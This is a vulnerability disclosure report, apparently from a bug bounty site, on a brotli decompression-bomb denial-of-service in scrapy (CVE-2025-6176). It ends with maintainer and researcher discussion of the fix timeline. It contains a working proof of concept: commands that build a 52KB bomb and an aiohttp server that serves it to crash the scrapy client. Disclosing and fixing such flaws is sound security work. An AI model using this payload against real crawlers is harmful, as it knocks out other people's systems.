

Brotli decompression bomb DoS in scrapy/scrapy.

✓ Valid

Reported on Jun 15th 2025

Description

scrapy's encoding implementation is vulnerable to brotli decompression bombs. Its protection against this kind of attack fails to mitigate the brotli variant. This allows malicious servers to perform DoS attack on clients.

Details

scrapy's protection protects itself from brotli decompression bombs by reading raw data in 64KB chunks and check output size after each decompression. However, brotli has extremely high compression ratios for zero-filled data. A single 64KB chunk can decompressed to more than 80GB of data in memory, triggering OOM on most systems when decompressing the first chunk.

Proof of Concept

- Generate a compression bomb

```
dd if=/dev/zero bs=1G count=64 | brotli -9 -o poc64.br
du -h poc64.br # only 52KB output
```

- Serve it on server

```
from aiohttp import web

async def handler(req: web.Request) -> web.Response:
    resp = web.Response(content_type="text/plain")

    with open("poc64.br", "rb") as f:
        resp.body = f.read()

    resp.headers["Content-Encoding"] = "br"
    assert not resp.compression
    return resp

if __name__ == "__main__":
    app = web.Application()
```

```
app.router.add_get("/", handler)
web.run_app(app, port=8080)
```

- make scrapy visit this site

```
# test_scrapy.py
import scrapy

class QuotesSpider(scrapy.Spider):
    name = "victim"
    start_urls = ["http://172.17.0.2:8080",]
```

```
scrapy runspider test_scrapy.py
echo $? # 137
```

Impact

Remote servers can crash any scrapy clients with less than 80GB of available memory.

Occurrences

 `_compression.py` L32-L38

 `_compression.py` L45

 `_compression.py` L88-L104

⚙️ We are processing your report and will contact the **scrapy** team within 24 hours. 7 months ago

🕒 A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists 7 months ago



✎ Rui Xi modified the report 7 months ago



✓ Mikhail Korobov validated this vulnerability 7 months ago

Thanks!

Based on reading the code, I think the issue also applies to "deflate". zstd and gzip decompression looks safe.

\$ **cycloctane** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

 CVE-2025-6176 assigned to this report. 7 months ago



Rui Xi commented 7 months ago

Researcher

Thank you for the quick response. I'm not sure if deflate is vulnerable. According to my analysis, all decompression implementations read and process data in 64KB chunks. But brotli is the only one with the compression ratio that high enough to cause OOM when processing only the first 64KB chunk.



Mikhail Korobov commented 7 months ago

Maintainer

To fix it for brotli, we're waiting for a fix in the Python bindings:
<https://github.com/google/brotli/issues/1291>.

The difference between deflate/brotli and gzip/zstd is that the former limit the *input* chunks to 64K, while the latter limit the output (after decompression) to 64K. A good point about amplification and deflate.



 A **scrapy/scrapy** maintainer has acknowledged this report 7 months ago

 The scheduled publication date was automatically extended from 13th Sep 2025 to 20th Sep 2025 due to the maintainers acknowledgement of the report 7 months ago

 We have sent a warning to the **scrapy** team to inform them that this report will be published in 48 hours 4 months ago



Mikhail Korobov commented 4 months ago

Maintainer

Hm, I wonder how can we extend the publication date :) I've got an email which says CVE is going public in 48hrs, and that

If you need more time you can always extend the publication timeline via the "Publication Date" selector on the upper right corner of your report page.

But I can't find this selector anywhere :(@Cycloctane do you by chance have this button?

We're waiting for a brotli release (<https://github.com/google/brotli/issues/1327>); maintainers wanted to make it before October.



Rui Xi commented 4 months ago

Researcher

I think we should contact admin for this issue.



 Adam Nygate set the scheduled publication date to Oct 31st 2025 UTC 4 months ago



Adam Nygate commented 4 months ago

Admin

Hello :) I've updated the publication date to the end of Oct. I hope that works.



Mikhail Korobov commented 4 months ago

Maintainer

Thanks Adam (and @Cycloctane)!

✉ We have notified the **scrapy/scrapy** maintainers about this report in their weekly follow-up 3 months ago



Rui Xi commented 3 months ago

Researcher

<https://github.com/google/brotli/releases/tag/v1.2.0>



Mikhail Korobov commented 3 months ago

Maintainer

They don't have 1.2.0 on pypi yet unfortunately :(

⚠ We have sent a warning to the **scrapy** team to inform them that this report will be published in 48 hours 3 months ago



Mikhail Korobov commented 3 months ago

Maintainer

Hey! I wonder if it'd be possible to extend the timeline again, as the bindings are not released (see <https://github.com/google/brotli/issues/1327#issuecomment-3457434715>).



This vulnerability has now been published 3 months ago



CVE-2025-6176 has now been published 3 months ago



Rui Xi commented 3 months ago

Researcher

Why is it published? It has not been fixed yet.



Rui Xi commented 3 months ago

Researcher

brotli v1.2.0 is finally available on pypi.



Rui Xi commented 3 months ago

Researcher

I just opened a pr that attempts to fix this issue :) See <https://github.com/scrapy/scrapy/pull/7134>

CVE
CVE-2025-6176
Published

Vulnerability Type
CWE-400: Denial of Service

Severity
High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

[Open in visual CVSS calculator](#)

Registry
Pypi

Affected Version
<=2.13.2

Visibility
Public

Status
Awaiting fix

Found by



Rui Xi
@cycloctane
UNPROVEN



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

